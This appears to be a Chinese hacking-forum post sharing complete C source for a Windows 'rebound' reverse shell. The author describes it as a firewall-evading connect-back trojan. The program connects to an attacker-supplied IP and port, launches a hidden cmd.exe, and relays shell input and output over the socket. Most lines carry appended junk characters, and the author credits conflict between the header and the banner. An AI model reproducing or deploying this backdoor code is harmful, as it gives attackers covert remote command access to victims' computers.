这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a5^]20Fa
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/* ============================== `$IK`O
Rebound port in Windows NT u~:y\/Y6
By wind,2006/7 ys^oG$lq
===============================*/ Lg+Ac5y}`
#include +) om^e@.
#include H|<[YYk
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#pragma comment(lib,"wsock32.lib") NiEUW.0
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void OutputShell(); ^)S;xb9
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NNR`!Pty
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void main(int argc,char **argv) ZQsJL\x[UK
{ P1 8hxXE3
WSADATA stWsaData; -0 a/$h
int nRet; f}ji?p
SOCKADDR_IN stSaiClient,stSaiServer; \)904W5R
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if(argc != 3) Sv#XIMw{,
{ XEp{VC@=
printf("Useage:\n\rRebound DestIP DestPort\n"); ]cWUZ{puRB
return; 4he GnMD
} Zn+.;o)E<
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WSAStartup(MAKEWORD(2,2),&stWsaData); HZB>{O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aiUY>M#|
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stSaiClient.sin_family = AF_INET; (t
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stSaiClient.sin_port = htons(0); 3S@7]Pg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6<SAa#@ey
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \ZFGw&yN
{ KP^V>9q
printf("Bind Socket Failed!\n"); <z&/L/bl"
return; @V sG'
} H5B:;g@
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stSaiServer.sin_family = AF_INET; ZY55|eE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P6`u._mX
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iN\4gQ!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) NO>w+-dGS
{ rQs)O<jl
printf("Connect Error!"); 8 +/rlHp
return; [A~xy'T
} L.2^`mZs
OutputShell(); ZohCP
} _ QI\
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void OutputShell() !u[9a;Sa#
{ CS5?Ti6
char szBuff[1024]; 'RR~7h
SECURITY_ATTRIBUTES stSecurityAttributes; (,Q7@s
OSVERSIONINFO stOsversionInfo; ;-lXU0}&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sN*N&XG
STARTUPINFO stStartupInfo; . B9iLI
char *szShell; LVfF[
PROCESS_INFORMATION stProcessInformation; Ecefi
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unsigned long lBytesRead; %QGC8Tz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .Wj;%|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J.b9F:&}
stSecurityAttributes.lpSecurityDescriptor = 0; t;Sb/ 3
stSecurityAttributes.bInheritHandle = TRUE; NjScc%@y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Su7?;Oh/yI
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $\BE&4g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L|:`^M+^w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .-c4wm}
stStartupInfo.wShowWindow = SW_HIDE; =E4LRKn
stStartupInfo.hStdInput = hReadPipe; Q5`*3h6p=
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kQSy+q
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GetVersionEx(&stOsversionInfo); ay
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switch(stOsversionInfo.dwPlatformId) .CABH,Po:
{ VcO0sa f`
case 1: 61>.vT8P
szShell = "command.com"; EStB#V^
break; g`' !HGY
default: oXh#a8
szShell = "cmd.exe"; C.yQ=\U2
break; HGs $*
} b\kdKVh&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f!uw zHA`?
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send(sClient,szMsg,77,0); s}9S8@#
while(1) Y-_`23x`
{ R6Km\N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m@2QnA[4
if(lBytesRead) wj^3N7_:w
{ V)HG(k
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kR-SE5`Jk
send(sClient,szBuff,lBytesRead,0); Nho>f
} L^2%1GfE{
else EF[@$j
{ v5#jZ$<F
lBytesRead=recv(sClient,szBuff,1024,0); ThajHK|U
if(lBytesRead<=0) break; t ;;U}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q460iL7yF}
} v6bGjVK[
} !Vn\u
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return; 4K#>f4(U`g
}